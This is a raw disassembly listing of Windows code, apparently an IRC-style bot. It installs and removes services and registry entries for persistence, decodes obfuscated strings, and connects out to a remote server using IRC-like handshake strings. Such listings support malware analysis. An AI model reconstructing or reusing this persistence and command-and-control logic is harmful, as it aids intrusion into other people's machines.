mov ecx, ebp
call sub_4017EE
push eax
push edi
call near ptr 2910BA1h
nop
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EF55
call near ptr 27D089Fh
nop
cmp eax, 431h
jnz short loc_40EF39
mov ecx, [esp+54h+var_44]
push ebp
call sub_401951
mov esi, dword_511754
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_4014A1
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EFC0
; ---------------------------------------------------------------------------
loc_40EF39: ; CODE XREF: sub_40EE30+CBj
push edi
nop
call near ptr 2920000h
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EFC0
; ---------------------------------------------------------------------------
loc_40EF55: ; CODE XREF: sub_40EE30+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
nop
call near ptr 2920228h
test eax, eax
push esi
mov esi, dword_511754
jnz short loc_40EFAC
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EFC0
; ---------------------------------------------------------------------------
loc_40EFAC: ; CODE XREF: sub_40EE30+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EFC0: ; CODE XREF: sub_40EE30+3Aj
; sub_40EE30+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40EE30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F050 proc near ; CODE XREF: sub_401951j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2910898h
nop
mov edi, eax
test edi, edi
jnz short loc_40F077
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F077: ; CODE XREF: sub_40F050+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 28B0000h
mov esi, eax
test esi, esi
jnz short loc_40F0A4
push edi
nop
call near ptr 2920000h
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F0A4: ; CODE XREF: sub_40F050+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
call near ptr 29104D5h
nop
push esi
nop
call near ptr 2910690h
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40F050 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F0F0 proc near ; CODE XREF: sub_401FD2j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2910898h
nop
mov esi, eax
test esi, esi
jnz short loc_40F10F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F10F: ; CODE XREF: sub_40F0F0+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push esi
nop
call near ptr 28B0000h
test eax, eax
jnz short loc_40F136
push esi
nop
call near ptr 2920000h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F136: ; CODE XREF: sub_40F0F0+37j
push edi
mov edi, dword_511754
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40F0F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F170 proc near ; CODE XREF: sub_401FFAj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2910898h
nop
mov edi, eax
test edi, edi
jnz short loc_40F191
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F191: ; CODE XREF: sub_40F170+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 28B0000h
mov esi, eax
test esi, esi
jnz short loc_40F1BB
push edi
nop
call near ptr 2920000h
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1BB: ; CODE XREF: sub_40F170+3Bj
push 0
push 0
push esi
nop
call near ptr 2900B0Eh
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40F170 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F200: ; CODE XREF: ___:loc_4014ABj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43A348
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F2FA
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401730
test al, al
jz short loc_40F2C6
lea ecx, [esp+0Ch]
call sub_4017EE
push eax
lea ecx, [esp+28h]
call sub_4017EE
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
loc_40F2C6: ; CODE XREF: ___:0040F287j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F2FA: ; CODE XREF: ___:0040F236j
lea ecx, [edi+47h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F399
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401451
test al, al
jz short loc_40F372
lea ecx, [esp+24h]
call sub_4017EE
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_40F372: ; CODE XREF: ___:0040F33Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F399: ; CODE XREF: ___:0040F30Cj
lea ecx, [edi+75h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F4AF
push 1
push offset asc_444600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402171
test al, al
jz short loc_40F46D
lea ecx, [esp+24h]
call sub_4017EE
push eax
lea ecx, [esp+10h]
call sub_4017EE
push eax
lea ecx, [esp+44h]
call sub_4017EE
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 20h
loc_40F46D: ; CODE XREF: ___:0040F424j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F4AF: ; CODE XREF: ___:0040F3ABj
lea ecx, [edi+0A3h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F551
push 1
push offset asc_444600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401951
test al, al
jz short loc_40F52A
lea ecx, [esp+54h]
call sub_4017EE
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_40F52A: ; CODE XREF: ___:0040F4F5j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F551: ; CODE XREF: ___:0040F4C4j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F650 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F650 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F6C0 proc near ; CODE XREF: sub_40169Fj
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F6C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E88
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_40142E
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_40142E
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401753
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401753
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401753
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401753
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401753
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401753
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401753
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401753
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401753
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401753
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401753
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401753
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401753
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401753
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_40172B
mov dword ptr [edi], offset off_43F034
mov bl, 11h
xor edi, edi
push offset byte_448F30
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43F028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015E1
nop
call near ptr 27F0CAAh
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017EE
push eax
push offset dword_4490BC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019C4
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017EE
push eax
push offset dword_4490C0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017EE
push eax
push offset dword_4490C4
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019C4
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017EE
push eax
push offset dword_4490C8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017EE
push eax
push offset dword_4490CC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017EE
push eax
push offset dword_4490D0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017EE
push eax
push offset dword_4490D4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017EE
push eax
push offset dword_4490D8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017EE
push eax
push offset dword_4490DC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017EE
push eax
push offset dword_4490E0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017EE
push eax
push offset dword_4490E4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017EE
push eax
push offset dword_4490E8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017EE
push eax
push offset dword_4490EC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017EE
push eax
push offset dword_4490F0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017EE
push eax
push offset dword_4490F4
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017EE
push eax
push offset dword_4490F8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017EE
push eax
push offset dword_4490FC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017EE
push eax
push offset dword_449100
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F6C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40FE30 proc near ; CODE XREF: sub_402149j
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43A7A3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_40142E
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411200
loc_40FE72: ; CODE XREF: sub_40FE30+13CAj
mov al, byte_4E8E44
mov edi, dword_5118AC
cmp al, bl
jz loc_411200
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_40FE9A
cmp dword ptr [ebp+1Ch], 5
jg short loc_40FEA4
cmp eax, ebx
jz loc_40FFDE
loc_40FE9A: ; CODE XREF: sub_40FE30+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_40FFDE
loc_40FEA4: ; CODE XREF: sub_40FE30+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_40FEB9
push eax
nop
call near ptr 71AB9639h
loc_40FEB9: ; CODE XREF: sub_40FE30+80j
mov ecx, offset word_44AC5E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401541
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401983
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_40FEE9
mov [ebp+20h], ebx
loc_40FEE9: ; CODE XREF: sub_40FE30+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_4493ED
mov ecx, offset word_44ACD6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACD6
add eax, 1B6h
push eax
push offset dword_4493A4
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACD6
push edx
push offset dword_449280
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_449312
mov ecx, offset word_44ACD6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACD6
add eax, 0DBh
push eax
push offset byte_4492C9
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACD6
add edx, 92h
push edx
push offset byte_44935B
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_44947F
mov ecx, offset word_44ACD6
call sub_401F50
call edi
mov [ebp+24h], eax
loc_40FFDE: ; CODE XREF: sub_40FE30+64j
; sub_40FE30+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410008
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2831C1Ah
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410008: ; CODE XREF: sub_40FE30+1B4j
cmp [ebp+15h], bl
jnz loc_410198
mov ax, word_44932C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
nop
call near ptr 71AB2B66h
mov ecx, offset byte_4492C9
mov [esp+24h+arg_1E], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
mov [esp+24h+arg_20], eax
call edi
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_410088
push 2710h
nop
call near ptr 2831C1Ah
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410088: ; CODE XREF: sub_40FE30+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call sub_5F285B
nop
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015E1
lea ecx, [esp+3Ch+arg_408]
push ecx
nop
call near ptr 71AB2BF4h
push offset byte_448F30
mov ecx, offset byte_44935B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410157
mov ecx, offset byte_44935B
call sub_4017EE
mov edx, dword_4490DC
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
loc_410157: ; CODE XREF: sub_40FE30+305j
mov ecx, offset byte_4E8E45
call sub_4017EE
push eax
mov ecx, offset byte_4E8E45
call sub_4017EE
push eax
mov eax, dword_4490E4
push eax
mov ecx, offset byte_4E8E45
call sub_4017EE
mov ecx, dword_4490E0
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E24
add esp, 1Ch
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410198: ; CODE XREF: sub_40FE30+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_4111F0
nop
call near ptr 27F0CAAh
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CD0
